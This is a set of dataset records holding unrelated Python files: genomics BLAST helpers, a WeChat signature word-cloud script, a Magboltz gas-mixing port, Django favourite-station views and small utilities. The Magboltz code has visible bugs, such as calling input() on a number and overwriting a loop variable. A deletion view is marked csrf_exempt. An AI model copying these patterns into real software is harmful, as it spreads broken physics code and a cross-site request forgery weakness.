ok\n dist_start = p_stt\n dist_end = m_end\n\n else:\n # p=m\n # m_end| |p_stt\n # ---------> <+++++++++ ok\n if m_end < p_stt:\n # ok\n dist_start = m_stt\n dist_end = p_end\n\n distance = dist_end - dist_start\n if distance <= blast_distance:\n alt = \"{}:{}-{}({})\".format(\n contig, dist_start,\n dist_end, distance)\n blast_check_result_list.append(alt)\n #log.debug(\"{}\".format(alt))\n\n return blast_check_result_list\n\n\n @classmethod\n def _separate_primer_name(cls, primer_name):\n\n # [NC_028450.1]44676.44700.plus\n #chrom_str, remain_str = primer_name.split('}')\n\n #chrom = chrom_str.lstrip('{')\n #abs_primer_stt_pos, abs_primer_end_pos, strand = \\\n #remain_str.split('.')\n\n #s = 'NC_0:28450.1:44676-44700:plus'\n m = re.match(r'^(.*):([0-9]+)-([0-9]+):([a-z]+)$', primer_name)\n #print(m.groups())\n #('NC_0:28450.1', '44676', '44700', 'plus')\n\n #log.debug(\"{}\".format(primer_name))\n #log.debug(\"{}\".format(m))\n #log.debug(\"{}\".format(m[0]))\n #log.debug(\"{}\".format(m[1]))\n\n\n chrom = str(m[1])\n\n abs_primer_stt_pos = int(m[2])\n abs_primer_end_pos = int(m[3])\n strand = str(m[4])\n\n #log.debug(\"{}\".format(type(m[1])))\n #sys.exit(1)\n\n return \\\n chrom, \\\n abs_primer_stt_pos, \\\n abs_primer_end_pos, \\\n strand\n\n\n @classmethod\n def makeblastdb(cls):\n\n # glv.conf.blastdb_title\n # glv.conf.blastdb_path\n\n blastdb_nsq = Path(\"{}{}\".format(glv.conf.blastdb_path, \".nsq\"))\n if blastdb_nsq.exists():\n return\n\n bgzip = \"bgzip -cd -@ {} {}\"\n mkdb = \"makeblastdb -in - -title {} -dbtype nucl -out {}\"\n cmd1 = \"{} | {}\".format(\n bgzip.format(\n glv.conf.parallel_full_thread,\n glv.conf.ref_bgzip_path),\n mkdb.format(\n glv.conf.blastdb_title,\n glv.conf.blastdb_path))\n\n utl.try_exec(cmd1)\n\n","sub_path":"vprimer/blast.py","file_name":"blast.py","file_ext":"py","file_size_in_byte":12757,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"79364094","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Sep 14 20:58:16 2018\r\n\r\n@author: 2271057973\r\n\"\"\"\r\nimport re\r\nfrom wordcloud import WordCloud\r\nfrom wxpy import *\r\nimport jieba\r\nimport matplotlib.pylab as plt\r\nfrom PIL import Image\r\nimport numpy as np\r\nbot=Bot()\r\n\r\nfriends=bot.friends()\r\nbot.logout()\r\nD = list()\r\nfor k, friend in enumerate(friends):\r\n signa = re.sub(r'\\n', ' ', friend.signature.replace(',', ','))\r\n signa = re.sub(r'<.*?>', '', signa)\r\n signa = re.sub(r'QQ1216753355', '', signa)\r\n D.append(signa)\r\nprint(D)\r\n\r\ncontent='\\n'.join(D)\r\n\r\nprint(content)\r\nwith open('C:\\\\Users\\\\2271057973\\\\Desktop\\\\新建文件夹\\\\新建文本文档.txt','w',encoding='utf-8') as f:\r\n f.write(content)\r\n f.close()\r\n \r\n \r\n \r\ntext=''\r\nprint('\\n')\r\nwith open('C:\\\\Users\\\\2271057973\\\\Desktop\\\\新建文件夹\\\\新建文本文档.txt','r',encoding='utf-8') as j:\r\n for line in j.readlines():\r\n line = line.strip('\\n')\r\n # sep’.join(seq)以sep作为分隔符,将seq所有的元素合并成一个新的字符串\r\n text += ' '.join(jieba.cut(line))\r\nprint(text)\r\na=Image.open('C:\\\\Users\\\\2271057973\\\\Pictures\\\\Saved Pictures\\\\太极.png')\r\nmask=np.array(a)\r\nwordcloud=WordCloud(font_path='./font/simhei.ttf',background_color='white',mask=mask,max_font_size=120, min_font_size=5).generate(text)\r\nplt.imshow(wordcloud)\r\nplt.axis('off')\r\nplt.show()\r\n\r\nwordcloud.to_file('C:\\\\Users\\\\2271057973\\\\Desktop\\\\77.png')\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"myciyun.py","file_name":"myciyun.py","file_ext":"py","file_size_in_byte":1521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"183468217","text":"import Magboltz\nimport sys\n\nsys.path.append('../Cython')\nimport math\nfrom Gasmix import Gasmix\nimport numpy as np\nfrom ANG import ANG\n\n\ndef MIXER(Magboltz):\n \n ECHARG = 1.602176565e-19\n KEL = np.zeros(shape=(6, 6))\n\n E = np.zeros(shape=(6, 6))\n Q = np.zeros(shape=(6, 6, 4000))\n\n PEQEL = np.zeros(shape=(6, 6, 4000))\n\n EION = np.zeros(shape=(6, 30))\n\n EB = np.zeros(shape=(6, 30))\n\n EC0 = np.zeros(shape=(6, 30))\n\n EG1 = np.zeros(shape=(6, 30))\n\n EG2 = np.zeros(shape=(6, 30))\n\n WK = np.zeros(shape=(6, 30))\n\n EFL = np.zeros(shape=(6, 30))\n\n NC0 = np.zeros(shape=(6, 30))\n\n NG1 = np.zeros(shape=(6, 30))\n\n NG2 = np.zeros(shape=(6, 30))\n\n EI = np.zeros(shape=(6, 250))\n\n KIN = np.zeros(shape=(6, 250))\n\n NION = np.zeros(6)\n\n QION = np.zeros(shape=(6, 30, 4000))\n\n PEQION = np.zeros(shape=(6, 30, 4000))\n\n PEQIN = np.zeros(shape=(6, 250, 4000))\n\n QATT = np.zeros(shape=(6, 4000))\n\n QNULL = np.zeros(shape=(6, 10, 4000))\n\n SCLN = np.zeros(shape=(6, 10))\n\n NATT = np.zeros(6)\n\n NNULL = np.zeros(6)\n\n Magboltz.ESTEP = Magboltz.EFINAL / Magboltz.NSTEP\n\n EHALF = Magboltz.ESTEP / 2\n\n Magboltz.E[0] = EHALF\n\n MIXOBJECT = Gasmix()\n MIXOBJECT.InitWithInfo(Magboltz.NGASN, Q, Magboltz.QIN, Magboltz.NIN, E, EI, KIN, QION, PEQION, EION, EB, PEQEL,\n PEQIN, KEL, Magboltz.PENFRA, NC0, EC0, WK, EFL, NG1, EG1, NG2, EG2, QATT, QNULL, SCLN,\n Magboltz.E, Magboltz.EROOT, Magboltz.QTOT, Magboltz.QREL, Magboltz.QINEL, Magboltz.QEL,\n Magboltz.DENSY, 0, Magboltz.NGAS, Magboltz.NSTEP, Magboltz.NANISO, Magboltz.ESTEP,\n Magboltz.EFINAL, Magboltz.AKT, Magboltz.ARY, Magboltz.TEMPC, Magboltz.TORR, Magboltz.IPEN,\n NION, NATT, NNULL)\n MIXOBJECT.Run()\n\n EMASS = 9.10938291e-31\n\n for IE in range(4000):\n NP = 0\n for KGAS in range(Magboltz.NGAS):\n if KGAS == 1:\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[0].Q[1][IE] * Magboltz.VANN[0]\n elif KGAS == 2:\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[1].Q[1][IE] * Magboltz.VANN[1]\n elif KGAS == 3:\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[2].Q[1][IE] * Magboltz.VANN[2]\n elif KGAS == 4:\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[3].Q[1][IE] * Magboltz.VANN[3]\n elif KGAS == 5:\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[4].Q[1][IE] * Magboltz.VANN[4]\n elif KGAS == 6:\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[5].Q[1][IE] * Magboltz.VANN[5]\n Magboltz.PSCT[IE][NP] = 0.5\n Magboltz.ANGCT[IE][NP] = 1\n Magboltz.INDEX[NP] = 0\n ANGOBJECT = ANG()\n\n if MIXOBJECT.Gases[KGAS].KEL[1] == 1:\n PSCT1 = MIXOBJECT.Gases[KGAS].PEQEL[1][IE]\n ANGOBJECT.PSCT1 = PSCT1\n ANGOBJECT.ANGCUT()\n Magboltz.ANGCT[IE][NP] = ANGOBJECT.ANGC\n Magboltz.PSCT[IE][NP] = ANGOBJECT.PSCT2\n Magboltz.INDEX[NP] = 1\n elif MIXOBJECT.Gases[KGAS].KEL[1] == 2:\n Magboltz.PSCT[IE][NP] = MIXOBJECT.Gases[KGAS].PEQEL[1][IE]\n Magboltz.INDEX[NP] = 2\n\n if IE == 0:\n RGAS = 1 + MIXOBJECT.Gases[KGAS].E[1] / 2\n Magboltz.RGAS[NP] = RGAS\n L = 1\n Magboltz.IARRY[NP] = L\n Magboltz.EIN[NP] = 0.0\n Magboltz.IPN[NP] = 0\n\n Magboltz.PENFRA[0][NP] = 0.0\n Magboltz.PENFRA[1][NP] = 0.0\n Magboltz.PENFRA[2][NP] = 0.0\n # IONISATION\n\n if Magboltz.EFINAL >= MIXOBJECT.Gases[KGAS].E[2]:\n if MIXOBJECT.Gases[KGAS].NION <= 1:\n NP += 1\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[KGAS].Q[2][IE] * Magboltz.VANN[KGAS]\n Magboltz.FCION[IE] = Magboltz.FCION[IE] + Magboltz.CF[KGAS][IE][NP]\n Magboltz.PSCT[IE][NP] = 0.5\n Magboltz.ANGCT[IE][NP] = 1.0\n Magboltz.INDEX[NP] = 0\n if MIXOBJECT.Gases[KGAS].KEL[2] == 1:\n PSCT1 = MIXOBJECT.Gases[KGAS].PEQEL[2][IE]\n ANGOBJECT.PSCT1 = PSCT1\n ANGOBJECT.ANGCUT()\n Magboltz.ANGCT[IE][NP] = ANGOBJECT.ANGC\n Magboltz.PSCT[IE][NP] = ANGOBJECT.PSCT2\n Magboltz.INDEX[NP] = 1\n elif MIXOBJECT.Gases[KGAS].KEL[2] == 2:\n Magboltz.PSCT[IE][NP] = MIXOBJECT.Gases[KGAS].PEQEL[2][IE]\n Magboltz.INDEX[NP] = 2\n elif MIXOBJECT.Gases[KGAS].NION > 1:\n for KION in range(MIXOBJECT.NION[KGAS]):\n NP += 1\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[KGAS].QION[KION][IE] * Magboltz.VANN[KGAS]\n Magboltz.FCION[IE] = Magboltz.FCION[IE] + Magboltz.CF[KGAS][IE][NP]\n Magboltz.PSCT[IE][NP] = 0.5\n Magboltz.ANGCT[IE][NP] = 1.0\n Magboltz.INDEX[NP] = 0\n if MIXOBJECT.Gases[KGAS].KEL[2] == 1:\n PSCT1 = MIXOBJECT.Gases[KGAS].PEQION[KION][IE]\n ANGOBJECT.PSCT1 = PSCT1\n ANGOBJECT.ANGCUT()\n Magboltz.ANGCT[IE][NP] = ANGOBJECT.ANGC\n Magboltz.PSCT[IE][NP] = ANGOBJECT.PSCT2\n Magboltz.INDEX[NP] = 1\n elif MIXOBJECT.Gases[KGAS].KEL[2] == 2:\n Magboltz.PSCT[IE][NP] = MIXOBJECT.Gases[KGAS].PEQION[KION][IE]\n Magboltz.INDEX[NP] = 2\n\n if IE == 0:\n if MIXOBJECT.Gases[KGAS].NION <= 1:\n RGAS = 1 + MIXOBJECT.Gases[KGAS].E[1] / 2\n Magboltz.RGAS[NP] = RGAS\n Magboltz.EIN[NP] = MIXOBJECT.Gases[KGAS].E[2] / RGAS\n Magboltz.WPL[NP] = MIXOBJECT.Gases[KGAS].EB[0]\n Magboltz.NC0[NP] = MIXOBJECT.Gases[KGAS].NC0[0]\n Magboltz.EC0[NP] = MIXOBJECT.Gases[KGAS].EC0[0]\n Magboltz.NG1[NP] = MIXOBJECT.Gases[KGAS].NG1[0]\n Magboltz.EG1[NP] = MIXOBJECT.Gases[KGAS].EG1[0]\n Magboltz.EG2[NP] = MIXOBJECT.Gases[KGAS].EG2[0]\n Magboltz.NG2[NP] = MIXOBJECT.Gases[KGAS].NG2[0]\n Magboltz.EFL[NP] = MIXOBJECT.Gases[KGAS].EFL[1]\n Magboltz.WKLM[NP] = MIXOBJECT.Gases[KGAS].WK[1]\n Magboltz.IPN[NP] = 1\n L = 2\n Magboltz.IARRY[NP] = L\n Magboltz.PENFRA[0][NP] = 0.0\n Magboltz.PENFRA[1][NP] = 0.0\n Magboltz.PENFRA[2][NP] = 0.0\n elif MIXOBJECT.Gases[KGAS].NION > 1:\n NP = NP - MIXOBJECT.Gases[KGAS].NION\n for KION in range(MIXOBJECT.Gases[KGAS].NION):\n NP = NP + 1\n RGAS = 1 + MIXOBJECT.Gases[KGAS].E[1] / 2\n Magboltz.RGAS[NP] = RGAS\n Magboltz.EIN[NP] = MIXOBJECT.Gases[KGAS].EION[KION] / RGAS\n Magboltz.WPL[NP] = MIXOBJECT.Gases[KGAS].EB[KION]\n Magboltz.NC0[NP] = MIXOBJECT.Gases[KGAS].NC0[KION]\n Magboltz.EC0[NP] = MIXOBJECT.Gases[KGAS].EC0[KION]\n Magboltz.NG1[NP] = MIXOBJECT.Gases[KGAS].NG1[KION]\n Magboltz.EG2[NP] = MIXOBJECT.Gases[KGAS].EG2[KION]\n Magboltz.EFL[NP] = MIXOBJECT.Gases[KGAS].EFL[KION]\n Magboltz.EG1[NP] = MIXOBJECT.Gases[KGAS].EG1[KION]\n Magboltz.NG2[NP] = MIXOBJECT.Gases[KGAS].NG2[KION]\n Magboltz.WKLM[NP] = MIXOBJECT.Gases[KGAS].WK[KION]\n Magboltz.IPN[NP] = 1\n L = 2\n Magboltz.IARRY[NP] = L\n Magboltz.PENFRA[0][NP] = 0.0\n Magboltz.PENFRA[1][NP] = 0.0\n Magboltz.PENFRA[2][NP] = 0.0\n\n if Magboltz.EFINAL >= MIXOBJECT.Gases[KGAS].E[3]:\n if MIXOBJECT.Gases[KGAS].NATT <= 1:\n NP += 1\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[KGAS].Q[3][IE] * Magboltz.VANN[KGAS]\n Magboltz.FCATT[IE] = Magboltz.FCATT[IE] + Magboltz.CF[KGAS][IE][NP]\n Magboltz.PSCT[IE][NP] = 0.5\n Magboltz.ANGCT[IE][NP] = 1.0\n elif MIXOBJECT.Gases[KGAS].NATT > 1:\n for JJ in range(int(MIXOBJECT.Gases[KGAS].NATT)):\n NP += 1\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[KGAS].QATT[JJ][IE] * Magboltz.VANN[KGAS]\n Magboltz.FCATT[IE] = Magboltz.FCATT[IE] + Magboltz.CF[KGAS][IE][NP]\n Magboltz.PSCT[IE][NP] = 0.5\n Magboltz.ANGCT[IE][NP] = 1.0\n if IE == 0:\n RGAS = 1 + MIXOBJECT.Gases[KGAS].E[1] / 2\n Magboltz.RGAS[NP] = RGAS\n Magboltz.EIN[NP] = 0.0\n Magboltz.INDEX[NP] = 0\n Magboltz.IPN[NP] = -1\n L = 3\n Magboltz.IARRY[NP] = L\n Magboltz.PENFRA[0][NP] = 0.0\n Magboltz.PENFRA[1][NP] = 0.0\n Magboltz.PENFRA[2][NP] = 0.0\n if IE == 0:\n RGAS = 1 + MIXOBJECT.Gases[KGAS].E[1] / 2\n Magboltz.RGAS[NP] = RGAS\n Magboltz.EIN[NP] = 0.0\n Magboltz.INDEX[NP] = 0\n Magboltz.IPN[NP] = -1\n L = 3\n Magboltz.IARRY[NP] = L\n Magboltz.PENFRA[0][NP] = 0.0\n Magboltz.PENFRA[1][NP] = 0.0\n Magboltz.PENFRA[2][NP] = 0.0\n\n # INELASTIC AND SUPERELASTIC\n if MIXOBJECT.Gases[KGAS].NIN > 0:\n for J in range(int(MIXOBJECT.Gases[KGAS].NIN)):\n NP = NP + 1\n Magboltz.CF[IE][NP] = MIXOBJECT.Gases[KGAS].QIN[J][IE] * Magboltz.VANN[KGAS]\n Magboltz.PSCT[IE][NP] = 0.5\n Magboltz.ANGCT[IE][NP] = 1.0\n Magboltz.INDEX[NP] = 0\n if MIXOBJECT.Gases[KGAS].KIN[J] == 1:\n PSCT1 = MIXOBJECT.Gases[KGAS].PEQIN[J][IE]\n ANGOBJECT.PSCT1 = PSCT1\n ANGOBJECT.ANGCUT()\n Magboltz.ANGCT[IE][NP] = ANGOBJECT.ANGC\n Magboltz.PSCT[IE][NP] = ANGOBJECT.PSCT2\n Magboltz.INDEX[NP] = 1\n elif MIXOBJECT.Gases[KGAS].KIN[J] == 2:\n Magboltz.PSCT[IE][NP] = MIXOBJECT.Gases[KGAS].PEQIN[J][IE]\n Magboltz.INDEX[NP] = 2\n if IE == 0:\n RGAS = 1 + MIXOBJECT.Gases[KGAS].E[1] / 2\n Magboltz.RGAS[NP] = RGAS\n Magboltz.EIN[NP] = MIXOBJECT.Gases[KGAS].EI[J] / RGAS\n L = 4\n if MIXOBJECT.Gases[KGAS].EI[J] < 0:\n L = 5\n Magboltz.IPN[NP] = 0\n Magboltz.IARRY[NP] = L\n Magboltz.PENFRA[0][NP] = MIXOBJECT.Gases[KGAS].PENFRA[0][J]\n Magboltz.PENFRA[1][NP] = MIXOBJECT.Gases[KGAS].PENFRA[1][J] * 1.0e-16 / math.sqrt(3)\n Magboltz.PENFRA[2][NP] = MIXOBJECT.Gases[KGAS].PENFRA[2][J]\n Magboltz.IPLAST = NP\n Magboltz.ISIZE = 1\n for I in range(1, 9):\n if Magboltz.IPLAST >= 2 ** I:\n Magboltz.ISIZE = 2 ** I\n else:\n break\n # CALCULATION OF TOTAL COLLISION FREQUENCY FOR EACH GAS COMPONENT\n Magboltz.TCF[IE] = 0.0\n for IF in range(int(Magboltz.IPLAST)):\n Magboltz.TCF[IE] = Magboltz.TCF[IE] + Magboltz.CF[IE][IF]\n if Magboltz.CF[IE][IF] < 0:\n print(\"WARNING NEGATIVE COLLISION FREQUENCY\")\n\n for IF in range(int(Magboltz.IPLAST)):\n if Magboltz.TCF[IE] != 0.0:\n Magboltz.CF[IE][IF] /= Magboltz.TCF[IE]\n else:\n Magboltz.CF[IE][IF] = 0.0\n\n for IF in range(1, int(Magboltz.IPLAST)):\n Magboltz.CF[IE][IF] += Magboltz.CF[IE][IF - 1]\n Magboltz.FCATT[IE] *= Magboltz.EROOT[IE]\n Magboltz.FCION[IE] *= Magboltz.EROOT[IE]\n Magboltz.TCF[IE] *= Magboltz.EROOT[IE]\n\n NP = 0\n Magboltz.NPLAST = 0\n NNULLSUM = 0.0\n for I in range(Magboltz.NGAS):\n NNULLSUM += MIXOBJECT.Gases[KGAS].NNULL\n if NNULLSUM != 0:\n for I in range(Magboltz.NGAS):\n if MIXOBJECT.Gases[KGAS].NNULL > 0:\n for J in range(MIXOBJECT.Gases[KGAS].NNULL):\n Magboltz.SCLENUL[NP] = MIXOBJECT.Gases[KGAS].SCLN[J]\n Magboltz.CFN[IE][NP] = MIXOBJECT.Gases[KGAS].QNULL[J][IE] * Magboltz.VANN[KGAS] * \\\n Magboltz.SCLENUL[NP]\n Magboltz.NPLAST = NP\n Magboltz.TCFN[IE] = 0.0\n for IF in range(int(Magboltz.NPLAST)):\n Magboltz.TCFN[IE] = Magboltz.TCFN[IE] + Magboltz.CFN[IE][IF]\n if Magboltz.CFN[IE][IF] < 0:\n print(\"WARNING NEGATIVE NULL COLLISION FREQUENCY\")\n\n for IF in range(int(Magboltz.NPLAST)):\n if Magboltz.TCFN[IE] != 0.0:\n Magboltz.CFN[IE][IF] /= Magboltz.TCFN[IE]\n else:\n Magboltz.CFN[IE][IF] = 0.0\n\n for IF in range(1, int(Magboltz.NPLAST)):\n Magboltz.CFN[IE][IF] += Magboltz.CFN[IE][IF - 1]\n Magboltz.TCFN[IE] *= Magboltz.EROOT[IE]\n\n KELSUM = 0\n\n for KGAS in range(Magboltz.NGAS):\n for J in range(6):\n KELSUM += MIXOBJECT.Gases[KGAS].KEL[J]\n\n for KGAS in range(Magboltz.NGAS):\n for J in range(250):\n KELSUM += MIXOBJECT.Gases[KGAS].KIN[J]\n\n if KELSUM > 0:\n Magboltz.NISO = 1\n\n BP = Magboltz.EFIELD ** 2 * Magboltz.CONST1\n F2 = Magboltz.EFIELD * Magboltz.CONST3\n Magboltz.ELOW = Magboltz.TMAX * (Magboltz.TMAX * BP - F2 * math.sqrt(0.5 * Magboltz.EFINAL)) / Magboltz.ESTEP - 1\n Magboltz.ELOW = min(Magboltz.ELOW, Magboltz.SMALL)\n EHI = Magboltz.TMAX * (Magboltz.TMAX * BP + F2 * math.sqrt(0.5 * Magboltz.EFINAL)) / Magboltz.ESTEP + 1\n if EHI > 10000:\n EHI = 10000\n for l in range(8):\n l = I + 1\n JLOW = 4000 - 500 * (9 - I) + 1 + int(Magboltz.ELOW)\n JHI = 4000 - 500 * (8 - I) + input(EHI)\n JLOW = max(JLOW, 0)\n JHI = min(JHI, 4000)\n for J in range(int(JLOW), int(JHI)):\n if (Magboltz.TCF[J] + Magboltz.TCFN[J] + abs(Magboltz.FAKEI)) > Magboltz.TCFMAX[l]:\n Magboltz.TCFMAX[l] = Magboltz.TCF[J] + Magboltz.TCFN[J] + abs(Magboltz.FAKEI)\n for I in range(Magboltz.NSTEP):\n Magboltz.QTOT[I] = Magboltz.ANN[0] * MIXOBJECT.Gases[0].Q[0][I] + Magboltz.ANN[1] * MIXOBJECT.Gases[1].Q[0][I] + \\\n Magboltz.ANN[2] * MIXOBJECT.Gases[2].Q[0][I] + Magboltz.ANN[3] * MIXOBJECT.Gases[3].Q[0][I] + \\\n Magboltz.ANN[4] * MIXOBJECT.Gases[4].Q[0][I] + Magboltz.ANN[5] * MIXOBJECT.Gases[5].Q[0][I]\n Magboltz.QEL[I] = Magboltz.ANN[0] * MIXOBJECT.Gases[0].Q[1][I] + Magboltz.ANN[1] * MIXOBJECT.Gases[1].Q[1][I] + \\\n Magboltz.ANN[2] * MIXOBJECT.Gases[2].Q[1][I] + Magboltz.ANN[3] * MIXOBJECT.Gases[3].Q[1][I] + \\\n Magboltz.ANN[4] * MIXOBJECT.Gases[4].Q[1][I] + Magboltz.ANN[5] * MIXOBJECT.Gases[5].Q[1][I]\n\n for KGAS in range(Magboltz.NGAS):\n Magboltz.QION[KGAS][I] = MIXOBJECT.Gases[KGAS].Q[2][I] * Magboltz.ANN[KGAS]\n QATT[KGAS][I] = MIXOBJECT.Gases[KGAS].Q[3][I] * Magboltz.ANN[KGAS]\n if MIXOBJECT.Gases[KGAS].NION > 1:\n Magboltz.QION[KGAS][I] = 0.0\n for KION in range(MIXOBJECT.Gases[KGAS].NION):\n Magboltz.QION[KGAS][I] += MIXOBJECT.Gases[KGAS].QION[KION][I] * Magboltz.ANN[KGAS]\n Magboltz.QREL[I] = 0.0\n Magboltz.QSATT[I] = 0.0\n Magboltz.QSUM[I] = 0.0\n for J in range(Magboltz.NGAS):\n Magboltz.QSUM[I] = Magboltz.QSUM[I] + Magboltz.QION[J][I] + QATT[J][I]\n Magboltz.QSATT[I] = Magboltz.QSATT[I] + QATT[J][I]\n Magboltz.QREL[I] = Magboltz.QREL[I] + Magboltz.QION[J][I] + QATT[J][I]\n for KGAS in range(6):\n for J in range(int(MIXOBJECT.Gases[KGAS].NIN)):\n Magboltz.QSUM[I] = Magboltz.QSUM[I] + MIXOBJECT.Gases[KGAS].QIN[J][I] * Magboltz.ANN[KGAS]\n\n\n","sub_path":"src/Scripts/Python/MIXER.py","file_name":"MIXER.py","file_ext":"py","file_size_in_byte":17464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"567762767","text":"from django.shortcuts import render, redirect, HttpResponse, HttpResponseRedirect\n\nfrom users.models import my_stations\n# Create your views here.\nfrom favourites import get_sched2\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .forms import StopForm as S\n\n\n\ndef stations(request):\n \"\"\"Sends the delete stop form to stations.html and render template\"\"\"\n myform = S\n return render(request, 'mystations.html', {\"form1\": myform})\n\ndef check_auth(request):\n \"\"\"Checks if user is authenticated. (((( NOT NEEDED))))\"\"\"\n if request.user.is_authenticated:\n current_user = request.user\n station_id = '8240DB000231'\n user_fav = my_stations(stop_id = station_id, user = current_user)\n user_fav.check_num()\n user_fav.save()\n return HttpResponseRedirect('/mystations/')\n else:\n ## do soemthing else\n return HttpResponseRedirect('/mystations/')\n\n\ndef show_favs(request):\n \"\"\"When stations.html is rendered, the live schedule for the\n users favourite stations are returned from get_sched2 file and are sent to front end as json\"\"\"\n if request.user.is_authenticated:\n data = []\n current_user = request.user\n stations = my_stations.objects.filter(user=current_user).values_list('stop_id', flat=True).distinct()\n s = get_sched2.get_times(stations)\n data.append(s)\n print(data)\n return HttpResponse(data, \"application/json\")\n\n@csrf_exempt\ndef delete_my_stop(request):\n \"\"\"Allows user to delete a stop using the form rendered in stations(request)\"\"\"\n if request.method == 'POST':\n current_user = request.user\n postdata = request.POST.copy()\n station = postdata.get('name', '')\n delete_stop(station, current_user)\n print(station, \"is station\")\n myform = S\n return HttpResponseRedirect('/mystations/')\n\ndef delete_stop(station, user):\n \"\"\"Deletes the stop\"\"\"\n my_stations.objects.filter(user=user, stop_id=station).delete()\n return\n","sub_path":"favourites/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"220160823","text":"from lstore.table import *\nfrom random import randint\n\ndef makeTable():\n '''\n Test used to visualize Table layout\n '''\n \n x = Table('students', 5, 1)\n print(x)\n print(x.book)\n for pr in x.book:\n print('Page Range:\\n')\n print(f'{pr}\\n')\n for bp in x.book[0].pages:\n print(' Base Page:\\n')\n print(f' {bp}\\n')\n print(' Columns:\\n')\n for column in bp.columns_list:\n # print(f'{column} : {column.data}\\n')\n print(f' {column}\\n')\n\n# makeTable()\n\ndef testInsert():\n records = {}\n for i in range(0, 1000):\n key = 92106429 + randint(0, 9000)\n while key in records:\n key = 92106429 + randint(0, 9000)\n records[key] = [key, randint(0, 20), randint(0, 20), randint(0, 20), randint(0, 20)]\n # query.insert(*records[key])\n # print('inserted', records[key])\n # print(records)\n print(*records[key])\n print(records[key])\ntestInsert()","sub_path":"tests/tester.py","file_name":"tester.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"382966519","text":"CORE_ENGINES_LIST = set([\"Northstar\", \"HybridPro\"])\n\n\ndef is_case_skipped(case, render_platform, engine):\n if case[\"status\"] == \"skipped\":\n return True\n\n if \"skip_config\" in case:\n for config in case[\"skip_config\"]:\n \"\"\"\n Along with skipping the engine, we can set a certain configuration that we also want to skip.\n [\"Hybrid\"] - Skips this case with the specified engine on all machines\n [\"Hybrid\", \"HybridPro\", \"GeForce RTX 2070\"] - Skips this case with the specified engines on machines with RTX 2070 # noqa: E501\n [\"Hybrid\", \"HybridPro\", \"GeForce RTX 2070\", \"GeForce RTX 2080 Ti\"] - *WRONG CONFIG* It will not work, because the configuration has two video cards # noqa: E501\n [\"GeForce RTX 2070\"] - Skips this case with the specified GPU on all machines\n [\"GeForce RTX 2070\", \"Linux\"] - Skips all Linux machines with a given GPU.\n [\"Hybrid\", \"GeForce RTX 2070\"] - Skips all machines with a GeForce RTX 2070 card regardless of the OS.\n [\"Hybrid\", \"Windows\", \"GeForce RTX 2070\"] - Skips the case only on Windows machines with a GeForce RTX 2070 graphics card and Hybrid engine. # noqa: E501\n \"\"\"\n config = set(config)\n skip_conf_by_eng = {engine}.union(render_platform)\n if skip_conf_by_eng.issuperset(config):\n return True\n elif (config - skip_conf_by_eng).issubset(CORE_ENGINES_LIST) and engine in config:\n \"\"\"\n If the difference between the sets is equal to some other engine, then the config is designed for different engines. # noqa: E501\n \"\"\"\n return True\n\n return False\n","sub_path":"jobs/Scripts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"261947230","text":"from rest_framework import viewsets\nfrom rest_framework.exceptions import APIException\nfrom rest_framework.views import exception_handler\n\n\nclass PaymentRequired(APIException):\n \"\"\"\n Return a HTTP_402_PAYMENT_REQUIRED.\n \"\"\"\n\n status_code = 402\n default_detail = \"Payment is required for access to this resource.\"\n\n\nclass PaymentRequiredViewSet(viewsets.GenericViewSet):\n def initial(self, request, *args, **kwargs):\n \"\"\"\n Raise `PaymentRequired` if user profile is not enabled.\n \"\"\"\n user = request.user\n if hasattr(user, \"nationals\"):\n if user.nationals.enabled is not True:\n raise PaymentRequired()\n elif hasattr(user, \"administrator\"):\n if user.administrator.enabled is not True:\n raise PaymentRequired()\n elif hasattr(user, \"host\"):\n if user.host.enabled is not True:\n raise PaymentRequired()\n super(PaymentRequiredViewSet, self).initial(request, *args, **kwargs)\n\n\ndef handler(exc, context):\n \"\"\"\n Inserts the `status_code` into the error message. Also, define a usage\n for all custom exceptions.\n \"\"\"\n response = exception_handler(exc, context)\n\n if response is not None:\n response.data[\"status_code\"] = response.status_code\n\n return response\n","sub_path":"risk_managed_api/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":1329,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"75425633","text":"import face_recognition\r\nimport cv2\r\nimport numpy as np\r\nimport pandas as pd\r\nimport smtplib as smt\r\nfrom email.mime.text import MIMEText\r\nfrom email.mime.multipart import MIMEMultipart\r\nimport datetime as ddt\r\nimport requests\r\nimport numpy as np\r\ndef 